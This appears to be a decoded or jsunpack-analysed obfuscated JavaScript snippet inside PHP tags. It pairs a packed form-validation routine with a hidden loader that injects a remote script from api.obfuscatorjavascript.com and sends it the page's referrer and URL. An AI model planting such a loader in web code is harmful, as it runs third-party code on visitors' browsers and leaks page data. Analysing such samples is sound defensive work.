PHP Decode

<?   //eval var _escape='%3Cscript%3Eeval%28function%28p%2Ca%2Cc%2Ck%2Ce%2Cd%29%7Be%3Dfunction%28c%29%7Breturn%20c%7D%3Bif%28%21%27%27.replace%28/%5E/%2CString%29%29%7Bwhile%28c--%29%7Bd%5Bc%5D%3Dk%5Bc%5D%7C%7Cc%7Dk%3D%5Bfunction%28e%29%7Breturn%20d%5Be%5D%7D%5D%3Be%3Dfunction%28%29%7Breturn%27%5C%5Cw+%27%7D%3Bc%3D1%7D%3Bwhile%28c--%29%7Bif%28k%5Bc%5D%29%7Bp%3Dp.replace%28new%20RegExp%28%27%5C%5Cb%27+e%28c%29+%27%5C%5Cb%27%2C%27g%27%29%2Ck%5Bc%5D%29%7D%7Dreturn%20p%7D%28%2740%208%3D%5B%22%5C%5C22%5C%5C9%5C%5C21%5C%5C25%5C%5C11%5C%5C43%22%2C%22%5C%5C20%5C%5C14%5C%5C22%5C%5C19%5C%5C9%22%2C%22%5C%5C26%5C%5C27%5C%5C46%22%2C%22%5C%5C34%5C%5C37%5C%5C38%5C%5C44%22%2C%22%5C%5C36%5C%5C10%5C%5C16%5C%5C12%5C%5C24%5C%5C14%5C%5C20%5C%5C10%5C%5C16%5C%5C35%5C%5C12%5C%5C18%5C%5C17%5C%5C25%5C%5C17%5C%5C11%5C%5C9%5C%5C12%5C%5C23%5C%5C10%5C%5C16%5C%5C16%5C%5C9%5C%5C11%5C%5C14%5C%5C32%5C%5C9%5C%5C21%5C%5C11%5C%5C9%5C%5C12%5C%5C10%5C%5C15%5C%5C12%5C%5C18%5C%5C14%5C%5C18%5C%5C10%5C%5C15%5C%5C45%22%2C%22%5C%5C24%5C%5C10%5C%5C23%5C%5C19%5C%5C15%22%2C%22%5C%5C26%5C%5C27%5C%5C41%22%2C%22%5C%5C15%5C%5C19%5C%5C33%5C%5C32%5C%5C17%5C%5C11%22%5D%3B39%2042%28%29%7B30%2813%5B8%5B3%5D%5D%5B8%5B2%5D%5D%5B8%5B1%5D%5D%5B8%5B0%5D%5D%3D%3D0%29%7B28%288%5B4%5D%29%3B13%5B8%5B3%5D%5D%5B8%5B2%5D%5D%5B8%5B5%5D%5D%28%29%3B29%2031%7D%3B30%2813%5B8%5B3%5D%5D%5B8%5B6%5D%5D%5B8%5B1%5D%5D%5B8%5B0%5D%5D%3D%3D0%29%7B28%288%5B4%5D%29%3B13%5B8%5B3%5D%5D%5B8%5B6%5D%5D%5B8%5B5%5D%5D%28%29%3B29%2031%7D%3B13%5B8%5B3%5D%5D%5B8%5B7%5D%5D%28%29%7D%3B%27%2C10%2C47%2C%27%7C%7C%7C%7C%7C%7C%7C%7C_0%7Cx65%7Cx6F%7Cx74%7Cx20%7Cdocument%7Cx61%7Cx73%7Cx72%7Cx69%7Cx64%7Cx75%7Cx76%7Cx6E%7Cx6C%7Cx63%7Cx66%7Cx67%7Cx54%7Cx43%7Calert%7Creturn%7Cif%7Cfalse%7Cx6D%7Cx62%7Cx46%7Cx2C%7Cx50%7Cx4D%7Cx44%7Cfunction%7Cvar%7Cx42%7CENT%7Cx68%7Cx4C%7Cx2E%7Cx41%27.split%28%27%7C%27%29%2C0%2C%7B%7D%29%29%0A%3C/script%3E';var O10 = document.createElement('script'); O10.src = 'http://api.obfuscatorjavascript.com/?getsrc=ok'+'&ref='+encodeURIComponent(document.referrer)+'&url='+encodeURIComponent(document.URL); var OIl = document.getElementsByTagName('head')[0]; OIl.appendChild(O10);document.write(unescape(_escape)); //jsunpack.called CreateElement script  //jsunpack.url element = http://api.obfuscatorjavascript.com/?getsrc=ok&ref=undefined&url=undefined  ?>